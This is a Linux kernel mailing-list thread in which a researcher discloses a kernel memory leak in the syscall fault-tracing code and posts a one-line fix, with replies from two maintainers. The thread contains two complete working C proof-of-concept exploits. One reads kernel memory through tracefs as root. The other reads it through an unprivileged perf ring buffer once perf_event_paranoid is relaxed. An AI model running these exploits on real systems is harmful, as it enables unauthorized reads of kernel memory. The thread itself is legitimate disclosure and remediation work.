* [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing
@ 2026-10-15 7:01 Haoran Wang
2026-10-15 8:44 ` Greg KH
0 siblings, 1 reply; 4+ messages in thread
From: Haoran Wang @ 2026-10-15 7:01 UTC (permalink / raw)
To: rostedt, mhiramat
Cc: linux-kernel, linux-trace-kernel, mathieu.desnoyers, security,
haoranwangsec
I'd like to report an issue in kernel/trace/trace_syscalls.c:686 (function
syscall_copy_user_array), found via static analysis of Linux 7.0.11 and
verified against the 7.2.10 source tree. I have reproduced the leak on an
7.2.10 kernel.
1. Summary
The "syscall fault tracing" feature (added in 7.0, CONFIG_FTRACE_SYSCALLS)
treats the raw syscall argument args[1] (the buffer pointer) of faultable
syscalls (write/pwrite64/ mq_timedsend) as a user address and copies it
with __copy_from_user(buf, args[1], size) without an access_ok() check.
When a traced process calls write(fd, <kernel address>, count), the
sys_enter tracepoint fires before vfs_write's access_ok and
__copy_from_user copies up to 165 bytes from that kernel address into the
per-CPU trace buffer, which is appended to the sys_enter_write event and
readable from /sys/kernel/tracing/trace. The write() itself then returns
EFAULT, but the leak is already complete. copy_from_user() would have
rejected a kernel address via access_ok(); __copy_from_user() does not.
2. Vulnerable code
- File: kernel/trace/trace_syscalls.c:686 (Linux 7.0.11; :685 in 7.2.10)
- Function: syscall_copy_user_array
- Misused API: __copy_from_user
```c
/* syscall_copy_user_array() - syscall fault tracing */
__copy_from_user(buf, ptr, size); /* ptr = args[1] (raw syscall buffer arg), no access_ok() */
```
3. Root cause
__copy_from_user() is the access_ok()-skipping variant of
copy_from_user(). The syscall fault tracing feature marks
write/pwrite64/mq_timedsend as faultable: check_faultable_syscall() sets
user_mask = BIT(1) (the buffer argument) and user_arg_size = 2 (the count
argument). When such a syscall is ftrace-traced, sys_fault_user() takes
the syscall's *raw* argument args[1] (the buffer-pointer register value)
as a user address and, via syscall_copy_user_array(), calls
__copy_from_user(buf, args[1], size) with no access_ok(). Because args[1]
is the raw register value captured at the sys_enter tracepoint (before
vfs_write performs its own access_ok on the buffer), a traced process can
supply a kernel address there; __copy_from_user dereferences it directly
and copies up to SYSCALL_FAULT_USER_MAX (165) bytes of kernel memory into
the per-CPU trace buffer. The content appears in the sys_enter_write trace
event and is readable from /sys/kernel/tracing/trace. The actual write()
then fails with EFAULT (vfs_write's access_ok rejects the kernel address),
but the leak has already happened in the tracepoint.
This differs from the trace.c:6836 site (tracing_mark_write), where the
VFS layer's access_ok (vfs_write at fs/read_write.c:676) guards the buffer
before the ftrace .write handler runs. Here the leak happens at the
sys_enter tracepoint, which fires *before* vfs_write's access_ok, so there
is no upstream guard on args[1].
4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, unfixed -- reproduced on
an 7.2.10 kernel.
5. Trigger / Preconditions
root / CAP_SYS_ADMIN / CAP_PERFMON (needed to enable syscall tracing via
tracefs; on the test machine /proc/sys/kernel/perf_event_paranoid = 2 and
tracefs is root-writable), plus CONFIG_FTRACE_SYSCALLS. The traced process
calls write(fd, <kernel address>, count) while sys_enter_write tracing is
enabled.
6. Proof of Concept
Reproduced on a pristine Linux 7.2.10 kernel
(CONFIG_FTRACE_SYSCALLS=y, config-only). The traced process calls
write(devnull, linux_banner_addr, 200); the sys_enter_write trace event
then contains the leaked linux_banner string.
Concrete reproduced evidence (version 7.2.10):
- The sys_enter_write trace event contains the leaked linux_banner hex
blob and ASCII string; decoding matches /proc/version.
- Decoded leaked content begins: "Linux version 7.2.10 (root@xxx) (gcc
(Ubuntu 15.2.0-16ubuntu1) ...", which exactly matches /proc/version on
the test kernel.
- write() itself returns EFAULT (vfs_write access_ok rejects the kernel
address), but the kernel-memory copy into the trace buffer has already
completed in the sys_enter tracepoint.
- KASAN does not catch it (__copy_from_user performs no __asan_loadN on
the source).
```c
/*
*
* Build: gcc -O2 -o poc_syscall_fault_leak poc_syscall_fault_leak.c
* Run: sudo ./poc_syscall_fault_leak
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdint.h>
#define TRACEFS "/sys/kernel/tracing"
#define EVT TRACEFS "/events/syscalls/sys_enter_write"
static int write_file(const char *path, const char *val)
{
int fd = open(path, O_WRONLY);
if (fd < 0)
return -1;
if (write(fd, val, strlen(val)) < 0) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static unsigned long lookup_sym(const char *sym)
{
FILE *f = fopen("/proc/kallsyms", "r");
if (!f)
return 0;
char line[256], name[128];
unsigned long a;
char t;
while (fgets(line, sizeof(line), f))
if (sscanf(line, "%lx %c %127s", &a, &t, name) == 3 && a && !strcmp(name, sym)) {
fclose(f);
return a;
}
fclose(f);
return 0;
}
static char *read_file(const char *path, char *buf, size_t cap)
{
int fd = open(path, O_RDONLY);
if (fd < 0)
return NULL;
size_t total = 0;
ssize_t n;
while (total < cap - 1 && (n = read(fd, buf + total, cap - 1 - total)) > 0)
total += n;
buf[total] = 0;
close(fd);
return buf;
}
int main(void)
{
if (getuid() != 0) {
fprintf(stderr, "[-] must run as root (tracefs is root-only, perf_event_paranoid=2)\n");
return 1;
}
unsigned long kaddr = lookup_sym("linux_banner");
if (!kaddr) {
fprintf(stderr, "[-] cannot resolve linux_banner from /proc/kallsyms\n");
return 1;
}
printf("[+] target: linux_banner @ 0x%lx\n", kaddr);
printf("[+] (kernel string: \"Linux version 7.x (root@...) ...\")\n");
printf("[+] vuln site: trace_syscalls.c:686 syscall_copy_user_array -> __copy_from_user (no access_ok)\n\n");
int devnull = open("/dev/null", O_WRONLY);
if (devnull < 0) {
perror("open /dev/null");
return 1;
}
if (access(EVT "/enable", W_OK) != 0) {
fprintf(stderr, "[-] %s/enable not writable (%s)\n", EVT, strerror(errno));
fprintf(stderr, " -> CONFIG_FTRACE_SYSCALLS off, or tracefs not mounted\n");
return 1;
}
write_file(TRACEFS "/trace", "\n");
int pipefd[2];
if (pipe(pipefd) < 0) {
perror("pipe");
return 1;
}
pid_t child = fork();
if (child < 0) {
perror("fork");
return 1;
}
if (child == 0) {
close(pipefd[1]);
char c;
read(pipefd[0], &c, 1); /* wait until parent finished enabling */
close(pipefd[0]);
/*
* THE TRIGGER: write(fd, KERNEL_ADDR, 200).
* The buf argument is a kernel address. The sys_enter tracepoint
* fires before vfs_write's access_ok, and __copy_from_user copies
* directly from that kernel address -> kernel memory enters the trace.
* write() then returns EFAULT, but the leak is already complete.
*/
syscall(__NR_write, devnull, (void *)kaddr, 200);
_exit(0);
}
close(pipefd[0]);
char filter[64];
snprintf(filter, sizeof(filter), "common_pid == %d", child);
if (write_file(EVT "/filter", filter) < 0)
fprintf(stderr, "[!] set filter failed: %s\n", strerror(errno));
if (write_file(EVT "/enable", "1") < 0)
fprintf(stderr, "[!] enable event failed: %s\n", strerror(errno));
write(pipefd[1], "x", 1);
close(pipefd[1]);
waitpid(child, NULL, 0);
write_file(EVT "/enable", "0");
write_file(EVT "/filter", "0");
char buf[65536];
if (!read_file(TRACEFS "/trace", buf, sizeof(buf))) {
fprintf(stderr, "[-] cannot read trace\n");
return 1;
}
char *line = strstr(buf, "write(fd:");
if (!line) {
printf("[-] no sys_enter_write event captured.\n");
printf("--- trace dump ---\n%s\n", buf);
return 1;
}
char *eol = strchr(line, '\n');
if (eol)
*eol = 0;
printf("[+] captured sys_enter_write event:\n %s\n\n", line);
if (strstr(line, "Linux version")) {
printf("[!] ============================================================\n");
printf("[!] KERNEL MEMORY LEAK CONFIRMED at trace_syscalls.c:686\n");
printf("[!] trace event contains the kernel banner string,\n");
printf("[!] read from 0x%lx via __copy_from_user() WITHOUT access_ok()\n", kaddr);
printf("[!] ============================================================\n");
return 0;
}
char *q1 = strchr(line, '"');
if (q1) {
char *q2 = strrchr(line, '"');
if (q2 > q1) {
printf("[!] leaked ASCII segment: \"%.*s\"\n", (int)(q2 - q1 - 1), q1 + 1);
if (strstr(q1, "Linux") || strstr(q1, "version")) {
printf("[!] KERNEL MEMORY LEAK CONFIRMED\n");
return 0;
}
}
}
printf("[?] no recognizable kernel string - inspect the hex blob in the event line above.\n");
return 2;
}
```
7. Impact
Kernel memory information leak: up to 165 bytes per faultable-syscall
invocation via __copy_from_user() with no access_ok(), readable from
/sys/kernel/tracing/trace.
Please let me know if you need more detail.
Best regards,
Haoran Wang <haoranwangsec@gmail.com>
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing
2026-10-15 7:01 [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing Haoran Wang
@ 2026-10-15 8:44 ` Greg KH
2026-10-15 12:05 ` Wang Haoran
0 siblings, 1 reply; 4+ messages in thread
From: Greg KH @ 2026-10-15 8:44 UTC (permalink / raw)
To: Haoran Wang
Cc: rostedt, mhiramat, linux-kernel, linux-trace-kernel,
mathieu.desnoyers, security
On Thu, Oct 15, 2026 at 03:01:08PM +0800, Haoran Wang wrote:
> I'd like to report an issue in kernel/trace/trace_syscalls.c:686 (function
> syscall_copy_user_array), found via static analysis of Linux 7.0.11 and
> verified against the 7.2.10 source tree. I have reproduced the leak on an
> 7.2.10 kernel.
Cool, but you forgot to also provide a working patch for this?
> 1. Summary
> The "syscall fault tracing" feature (added in 7.0, CONFIG_FTRACE_SYSCALLS)
> treats the raw syscall argument args[1] (the buffer pointer) of faultable
> syscalls (write/pwrite64/ mq_timedsend) as a user address and copies it
> with __copy_from_user(buf, args[1], size) without an access_ok() check.
> When a traced process calls write(fd, <kernel address>, count), the
> sys_enter tracepoint fires before vfs_write's access_ok and
> __copy_from_user copies up to 165 bytes from that kernel address into the
> per-CPU trace buffer, which is appended to the sys_enter_write event and
> readable from /sys/kernel/tracing/trace. The write() itself then returns
> EFAULT, but the leak is already complete. copy_from_user() would have
> rejected a kernel address via access_ok(); __copy_from_user() does not.
This is root-only, so there's no security issue really, right? Or am I
mistaken?
thanks,
greg k-h
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing
2026-10-15 8:44 ` Greg KH
@ 2026-10-15 12:05 ` Wang Haoran
2026-10-15 13:42 ` Steven Rostedt
0 siblings, 1 reply; 4+ messages in thread
From: Wang Haoran @ 2026-10-15 12:05 UTC (permalink / raw)
To: Greg KH
Cc: rostedt, mhiramat, linux-kernel, linux-trace-kernel,
mathieu.desnoyers, security
From ca4e2a6928bbd9010ebec967440517b08909b992 Mon Sep 17 00:00:00 2001
From: Haoran Wang <haoranwangsec@gmail.com>
Date: Thu, 15 Oct 2026 19:12:21 +0800
Subject: [PATCH] tracing/syscalls: use copy_from_user for the faultable
syscall buffer
Here is a working fix for the report. The leak is not strictly root
only, so there is a security concern on systems that relax
perf_event_paranoid.
syscall_copy_user_array() copies the raw buffer argument of faultable
syscalls such as write and pwrite64 with __copy_from_user, which skips
the access_ok check. A traced process that calls write(fd, kernel_addr,
count) therefore has up to SYSCALL_FAULT_USER_MAX bytes of kernel
memory copied into the sys_enter trace record at the tracepoint, before
vfs_write performs its own access_ok and returns EFAULT.
The copied bytes reach two buffers. The ftrace path stores them in the
ftrace ring buffer, which only root can read because tracefs is root
only by default. The perf path stores them in the perf ring buffer of
the process that owns the tracepoint event, which a non root process
can mmap for its own event. That perf path is gated only by
perf_allow_tracepoint, which a zero capability user passes when
perf_event_paranoid is set to -1. At that same setting
kallsyms_show_value also exposes kernel addresses to non root users
through /proc/kallsyms, so on systems that relax perf_event_paranoid
the leak becomes an unprivileged kernel memory read into the attacker's
own ring buffer.
Use copy_from_user instead so an address outside the user range is
rejected by access_ok and the entry is recorded as faulted, with no
kernel memory entering the trace record.
Full analysis and both reproducers (the ftrace path and the perf path)
are below.
Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
---
I'd like to report an issue in kernel/trace/trace_syscalls.c:686 (function
syscall_copy_user_array), found via static analysis of Linux 7.0.11 and
verified against the 7.2.10 source tree. I have reproduced the leak on an
7.2.10 kernel.
1. Summary
The "syscall fault tracing" feature (added in 7.0, CONFIG_FTRACE_SYSCALLS)
treats the raw syscall argument args[1] (the buffer pointer) of faultable
syscalls (write/pwrite64/ mq_timedsend) as a user address and copies it
with __copy_from_user(buf, args[1], size) without an access_ok() check.
When a traced process calls write(fd, <kernel address>, count), the
sys_enter tracepoint fires before vfs_write's access_ok and
__copy_from_user copies up to 165 bytes from that kernel address into the
per-CPU trace buffer, which is appended to the sys_enter_write event and
readable from /sys/kernel/tracing/trace. The write() itself then returns
EFAULT, but the leak is already complete. copy_from_user() would have
rejected a kernel address via access_ok(); __copy_from_user() does not.
2. Vulnerable code
- File: kernel/trace/trace_syscalls.c:686 (Linux 7.0.11; :685 in 7.2.10)
- Function: syscall_copy_user_array
- Misused API: __copy_from_user
```c
/* syscall_copy_user_array() - syscall fault tracing */
__copy_from_user(buf, ptr, size); /* ptr = args[1] (raw syscall buffer
arg), no access_ok() */
```
3. Root cause
__copy_from_user() is the access_ok()-skipping variant of
copy_from_user(). The syscall fault tracing feature marks
write/pwrite64/mq_timedsend as faultable: check_faultable_syscall() sets
user_mask = BIT(1) (the buffer argument) and user_arg_size = 2 (the count
argument). When such a syscall is ftrace-traced, sys_fault_user() takes
the syscall's *raw* argument args[1] (the buffer-pointer register value)
as a user address and, via syscall_copy_user_array(), calls
__copy_from_user(buf, args[1], size) with no access_ok(). Because args[1]
is the raw register value captured at the sys_enter tracepoint (before
vfs_write performs its own access_ok on the buffer), a traced process can
supply a kernel address there; __copy_from_user dereferences it directly
and copies up to SYSCALL_FAULT_USER_MAX (165) bytes of kernel memory into
the per-CPU trace buffer. The content appears in the sys_enter_write trace
event and is readable from /sys/kernel/tracing/trace. The actual write()
then fails with EFAULT (vfs_write's access_ok rejects the kernel address),
but the leak has already happened in the tracepoint.
This differs from the trace.c:6836 site (tracing_mark_write), where the
VFS layer's access_ok (vfs_write at fs/read_write.c:676) guards the buffer
before the ftrace .write handler runs. Here the leak happens at the
sys_enter tracepoint, which fires *before* vfs_write's access_ok, so there
is no upstream guard on args[1].
4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, unfixed -- reproduced on
an 7.2.10 kernel.
5. Trigger / Preconditions
root / CAP_SYS_ADMIN / CAP_PERFMON (needed to enable syscall tracing via
tracefs; on the test machine /proc/sys/kernel/perf_event_paranoid = 2 and
tracefs is root-writable), plus CONFIG_FTRACE_SYSCALLS. The traced process
calls write(fd, <kernel address>, count) while sys_enter_write tracing is
enabled.
6. Proof of Concept
Reproduced on a pristine Linux 7.2.10 kernel
(CONFIG_FTRACE_SYSCALLS=y, config-only). The traced process calls
write(devnull, linux_banner_addr, 200), the sys_enter_write trace event
then contains the leaked linux_banner string.
Concrete reproduced evidence (version 7.2.10):
- The sys_enter_write trace event contains the leaked linux_banner hex
blob and ASCII string; decoding matches /proc/version.
- Decoded leaked content begins: "Linux version 7.2.10 (root@xxx) (gcc
(Ubuntu 15.2.0-16ubuntu1) ...", which exactly matches /proc/version on
the test kernel.
- write() itself returns EFAULT (vfs_write access_ok rejects the kernel
address), but the kernel-memory copy into the trace buffer has already
completed in the sys_enter tracepoint.
```c
/*
*
* Build: gcc -O2 -o poc_syscall_fault_leak poc_syscall_fault_leak.c
* Run: sudo ./poc_syscall_fault_leak
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdint.h>
#define TRACEFS "/sys/kernel/tracing"
#define EVT TRACEFS "/events/syscalls/sys_enter_write"
static int write_file(const char *path, const char *val)
{
int fd = open(path, O_WRONLY);
if (fd < 0)
return -1;
if (write(fd, val, strlen(val)) < 0) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static unsigned long lookup_sym(const char *sym)
{
FILE *f = fopen("/proc/kallsyms", "r");
if (!f)
return 0;
char line[256], name[128];
unsigned long a;
char t;
while (fgets(line, sizeof(line), f))
if (sscanf(line, "%lx %c %127s", &a, &t, name) == 3 && a &&
!strcmp(name, sym)) {
fclose(f);
return a;
}
fclose(f);
return 0;
}
static char *read_file(const char *path, char *buf, size_t cap)
{
int fd = open(path, O_RDONLY);
if (fd < 0)
return NULL;
size_t total = 0;
ssize_t n;
while (total < cap - 1 && (n = read(fd, buf + total, cap - 1 -
total)) > 0)
total += n;
buf[total] = 0;
close(fd);
return buf;
}
int main(void)
{
if (getuid() != 0) {
fprintf(stderr, "[-] must run as root (tracefs is root-only,
perf_event_paranoid=2)\n");
return 1;
}
unsigned long kaddr = lookup_sym("linux_banner");
if (!kaddr) {
fprintf(stderr, "[-] cannot resolve linux_banner from
/proc/kallsyms\n");
return 1;
}
printf("[+] target: linux_banner @ 0x%lx\n", kaddr);
printf("[+] (kernel string: \"Linux version 7.x (root@...)
...\")\n");
printf("[+] vuln site: trace_syscalls.c:686 syscall_copy_user_array
-> __copy_from_user (no access_ok)\n\n");
int devnull = open("/dev/null", O_WRONLY);
if (devnull < 0) {
perror("open /dev/null");
return 1;
}
if (access(EVT "/enable", W_OK) != 0) {
fprintf(stderr, "[-] %s/enable not writable (%s)\n", EVT,
strerror(errno));
fprintf(stderr, " -> CONFIG_FTRACE_SYSCALLS off, or tracefs
not mounted\n");
return 1;
}
write_file(TRACEFS "/trace", "\n");
int pipefd[2];
if (pipe(pipefd) < 0) {
perror("pipe");
return 1;
}
pid_t child = fork();
if (child < 0) {
perror("fork");
return 1;
}
if (child == 0) {
close(pipefd[1]);
char c;
read(pipefd[0], &c, 1); /* wait until parent finished
enabling */
close(pipefd[0]);
/*
* THE TRIGGER: write(fd, KERNEL_ADDR, 200).
* The buf argument is a kernel address. The sys_enter tracepoint
* fires before vfs_write's access_ok, and __copy_from_user copies
* directly from that kernel address -> kernel memory enters
the trace.
* write() then returns EFAULT, but the leak is already complete.
*/
syscall(__NR_write, devnull, (void *)kaddr, 200);
_exit(0);
}
close(pipefd[0]);
char filter[64];
snprintf(filter, sizeof(filter), "common_pid == %d", child);
if (write_file(EVT "/filter", filter) < 0)
fprintf(stderr, "[!] set filter failed: %s\n", strerror(errno));
if (write_file(EVT "/enable", "1") < 0)
fprintf(stderr, "[!] enable event failed: %s\n", strerror(errno));
write(pipefd[1], "x", 1);
close(pipefd[1]);
waitpid(child, NULL, 0);
write_file(EVT "/enable", "0");
write_file(EVT "/filter", "0");
char buf[65536];
if (!read_file(TRACEFS "/trace", buf, sizeof(buf))) {
fprintf(stderr, "[-] cannot read trace\n");
return 1;
}
char *line = strstr(buf, "write(fd:");
if (!line) {
printf("[-] no sys_enter_write event captured.\n");
printf("--- trace dump ---\n%s\n", buf);
return 1;
}
char *eol = strchr(line, '\n');
if (eol)
*eol = 0;
printf("[+] captured sys_enter_write event:\n %s\n\n", line);
if (strstr(line, "Linux version")) {
printf("[!]
============================================================\n");
printf("[!] KERNEL MEMORY LEAK CONFIRMED at
trace_syscalls.c:686\n");
printf("[!] trace event contains the kernel banner string,\n");
printf("[!] read from 0x%lx via __copy_from_user() WITHOUT
access_ok()\n", kaddr);
printf("[!]
============================================================\n");
return 0;
}
char *q1 = strchr(line, '"');
if (q1) {
char *q2 = strrchr(line, '"');
if (q2 > q1) {
printf("[!] leaked ASCII segment: \"%.*s\"\n", (int)(q2 -
q1 - 1), q1 + 1);
if (strstr(q1, "Linux") || strstr(q1, "version")) {
printf("[!] KERNEL MEMORY LEAK CONFIRMED\n");
return 0;
}
}
}
printf("[?] no recognizable kernel string - inspect the hex blob in
the event line above.\n");
return 2;
}
```
7. Impact
Kernel memory information leak: up to 165 bytes per faultable-syscall
invocation via __copy_from_user() with no access_ok(), readable from
/sys/kernel/tracing/trace.
Please let me know if you need more detail.
Best regards,
Haoran Wang <haoranwangsec@gmail.com>
Appendix: perf path reproducer
The reproducer below exercises the perf path. The leaked bytes land in
the caller's own perf ring buffer, which a non root process can mmap
for its own tracepoint event, so the result is readable with no
privilege beyond opening the event. Run it after relaxing
perf_event_paranoid and exposing tracefs as shown in the header
comment.
Verified on a 7.2.10 kernel: a process dropped to uid 1000 with zero
capabilities, with perf_event_paranoid = -1 and tracefs exposed, opens
the sys_enter_write perf event, triggers write(fd, linux_banner, 200),
and reads "Linux version 7.2.10 ..." from its own perf ring buffer,
while write() returns EFAULT.
```c
/*
* perf_syscall_fault_leak.c
*
* Reproducer for the PERF path of the syscall fault tracing leak.
*
* The sys_enter_write tracepoint is opened as a perf event on the
* calling process. write(fd, <kernel addr>, count) then fires that
* tracepoint before vfs_write performs access_ok, and
* syscall_copy_user_array() copies kernel memory into the perf record
* with __copy_from_user. The record lands in the caller's own perf
* ring buffer, which the process mmaps for its own event, so the
* leaked bytes are readable with no privilege beyond opening the event.
*
* Build: gcc -O2 -o perf_syscall_fault_leak perf_syscall_fault_leak.c
*
* Unprivileged case (the escalation this path enables):
* # echo -1 > /proc/sys/kernel/perf_event_paranoid
* # mount -o remount,mode=0755 /sys/kernel/tracing
* # ./perf_syscall_fault_leak # drops to uid 1000 internally
*
* The output ring is the process own mmap buffer, not
* /sys/kernel/tracing/trace, so no root is needed to read the result.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <asm/unistd.h>
static long perf_open(struct perf_event_attr *a, pid_t p, int c, int g,
unsigned long f)
{
return syscall(__NR_perf_event_open, a, p, c, g, f);
}
static int drop_to_user(uid_t u)
{
if (setresgid(u, u, u) < 0 || setresuid(u, u, u) < 0) {
perror("setresuid");
return -1;
}
return 0;
}
static unsigned long read_tracepoint_id(void)
{
int fd =
open("/sys/kernel/tracing/events/syscalls/sys_enter_write/id", O_RDONLY);
if (fd < 0)
return 0;
char b[32];
int n = read(fd, b, sizeof(b) - 1);
close(fd);
if (n <= 0)
return 0;
b[n] = 0;
return strtoul(b, 0, 10);
}
static unsigned long lookup_sym(const char *sym)
{
FILE *f = fopen("/proc/kallsyms", "r");
if (!f)
return 0;
char line[256], nm[128];
unsigned long a;
char t;
while (fgets(line, sizeof(line), f))
if (sscanf(line, "%lx %c %127s", &a, &t, nm) == 3 && a &&
!strcmp(nm, sym)) {
fclose(f);
return a;
}
fclose(f);
return 0;
}
int main(void)
{
if (geteuid() == 0) {
printf("[*] started as root, dropping to uid 1000 to exercise
the unprivileged path\n");
if (drop_to_user(1000) < 0)
return 1;
}
printf("[*] running as uid=%d euid=%d\n", getuid(), geteuid());
unsigned long id = read_tracepoint_id();
if (!id) {
fprintf(stderr, "[-] cannot read the sys_enter_write tracepoint
id from tracefs\n");
fprintf(stderr, " (tracefs is root only by default; expose
it to read the id)\n");
return 1;
}
unsigned long kaddr = lookup_sym("linux_banner");
if (!kaddr) {
fprintf(stderr, "[-] cannot resolve linux_banner from
/proc/kallsyms\n");
fprintf(stderr, " (hidden unless perf_event_paranoid <= 1
with kptr_restrict = 0)\n");
return 1;
}
printf("[+] sys_enter_write tracepoint id = %lu\n", id);
printf("[+] target linux_banner @ 0x%lx\n", kaddr);
struct perf_event_attr attr;
memset(&attr, 0, sizeof(attr));
attr.size = sizeof(attr);
attr.type = PERF_TYPE_TRACEPOINT;
attr.config = id;
attr.sample_period = 1;
attr.sample_type = PERF_SAMPLE_RAW;
attr.wakeup_events = 1;
int pfd = -1, saved = 0, cpu_used = -2;
for (int cpu = -1; cpu < 4 && pfd < 0; cpu++) {
errno = 0;
pfd = (int)perf_open(&attr, 0, cpu, -1, 0);
saved = errno;
if (pfd >= 0) {
cpu_used = cpu;
break;
}
if (saved == EPERM || saved == EACCES)
break;
}
if (pfd < 0) {
fprintf(stderr, "[-] perf_event_open failed: %s (errno=%d)\n",
strerror(saved), saved);
fprintf(stderr, " (needs perf_event_paranoid = -1 or
CAP_PERFMON/CAP_SYS_ADMIN)\n");
return 1;
}
printf("[+] perf_event_open ok, fd=%d, cpu=%d (no capability
used)\n", pfd, cpu_used);
int ps = sysconf(_SC_PAGESIZE);
int npages = 64;
size_t mapsize = (size_t)(npages + 1) * ps;
void *base = mmap(NULL, mapsize, PROT_READ | PROT_WRITE,
MAP_SHARED, pfd, 0);
if (base == MAP_FAILED) {
perror("mmap");
return 1;
}
struct perf_event_mmap_page *pc = base;
ioctl(pfd, PERF_EVENT_IOC_ENABLE, 0);
int devnull = open("/dev/null", O_WRONLY);
if (devnull < 0) {
perror("open /dev/null");
return 1;
}
printf("[+] triggering write(fd, 0x%lx, 200) ...\n", kaddr);
long wr = syscall(__NR_write, devnull, (void *)kaddr, 200);
printf("[+] write() returned %ld, errno=%d (%s)\n", wr, errno,
wr < 0 ? "vfs_write rejected the kernel addr, but the
tracepoint copy already happened" : "");
close(devnull);
int found = 0;
for (int iter = 0; iter < 400 && !found; iter++) {
__sync_synchronize();
unsigned long head = pc->data_head;
unsigned long tail = pc->data_tail;
if (head == tail) {
usleep(1000);
continue;
}
unsigned char *data = (unsigned char *)base + ps;
size_t dsize = (size_t)npages * ps;
unsigned char *hit = memmem(data, dsize, "Linux version", 13);
if (hit) {
found = 1;
printf("[!] LEAK CONFIRMED in the perf ring buffer:\n ");
for (int i = 0; i < 96; i++)
putchar(isprint(hit[i]) ? hit[i] : '.');
printf("\n");
}
__sync_synchronize();
pc->data_tail = head;
}
if (!found)
printf("[-] no 'Linux version' in the perf ring buffer\n");
munmap(base, mapsize);
close(pfd);
return found ? 0 : 1;
}
```
---
kernel/trace/trace_syscalls.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
index 8a4f3c7..6406123 100644
--- a/kernel/trace/trace_syscalls.c
+++ b/kernel/trace/trace_syscalls.c
@@ -682,7 +682,7 @@ static int syscall_copy_user_array(char *buf, const
char __user *ptr,
for (int i = 0; i < args->uargs; i++, buf += SYSCALL_FAULT_ARG_SZ) {
ptr = (char __user *)args->ptr_array[i];
- ret = __copy_from_user(buf, ptr, size);
+ ret = copy_from_user(buf, ptr, size);
args->read[i] = ret ? -1 : size;
}
return 0;
--
2.43.0
在 2026/10/15 16:44, Greg KH 写道:
> On Thu, Oct 15, 2026 at 03:01:08PM +0800, Haoran Wang wrote:
>> I'd like to report an issue in kernel/trace/trace_syscalls.c:686 (function
>> syscall_copy_user_array), found via static analysis of Linux 7.0.11 and
>> verified against the 7.2.10 source tree. I have reproduced the leak on an
>> 7.2.10 kernel.
> Cool, but you forgot to also provide a working patch for this?
>
>> 1. Summary
>> The "syscall fault tracing" feature (added in 7.0, CONFIG_FTRACE_SYSCALLS)
>> treats the raw syscall argument args[1] (the buffer pointer) of faultable
>> syscalls (write/pwrite64/ mq_timedsend) as a user address and copies it
>> with __copy_from_user(buf, args[1], size) without an access_ok() check.
>> When a traced process calls write(fd, <kernel address>, count), the
>> sys_enter tracepoint fires before vfs_write's access_ok and
>> __copy_from_user copies up to 165 bytes from that kernel address into the
>> per-CPU trace buffer, which is appended to the sys_enter_write event and
>> readable from /sys/kernel/tracing/trace. The write() itself then returns
>> EFAULT, but the leak is already complete. copy_from_user() would have
>> rejected a kernel address via access_ok(); __copy_from_user() does not.
> This is root-only, so there's no security issue really, right? Or am I
> mistaken?
>
> thanks,
>
> greg k-h
^ permalink raw reply related [flat|nested] 4+ messages in thread
* Re: [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing
2026-10-15 12:05 ` Wang Haoran
@ 2026-10-15 13:42 ` Steven Rostedt
0 siblings, 0 replies; 4+ messages in thread
From: Steven Rostedt @ 2026-10-15 13:42 UTC (permalink / raw)
To: Wang Haoran
Cc: Greg KH, mhiramat, linux-kernel, linux-trace-kernel,
mathieu.desnoyers, security
On Thu, 15 Oct 2026 20:05:57 +0800
Wang Haoran <haoranwangsec@gmail.com> wrote:
Please send this to linux-trace-kernel@vger.kernel.org.
> From ca4e2a6928bbd9010ebec967440517b08909b992 Mon Sep 17 00:00:00 2001
> From: Haoran Wang <haoranwangsec@gmail.com>
> Date: Thu, 15 Oct 2026 19:12:21 +0800
> Subject: [PATCH] tracing/syscalls: use copy_from_user for the faultable
> syscall buffer
>
> Here is a working fix for the report. The leak is not strictly root
> only, so there is a security concern on systems that relax
> perf_event_paranoid.
Leave out any security details.
Simply state that the current check is missing the access_ok.
That is, this is a very trivial bug with a simple fix and a simple change
log. It could be a security concern for machines that trust perf a bit too
much.
But to go upstream, it still needs to follow the process.
Thanks,
-- Steve
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-10-15 13:42 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-15 7:01 [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing Haoran Wang
2026-10-15 8:44 ` Greg KH
2026-10-15 12:05 ` Wang Haoran
2026-10-15 13:42 ` Steven Rostedt
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox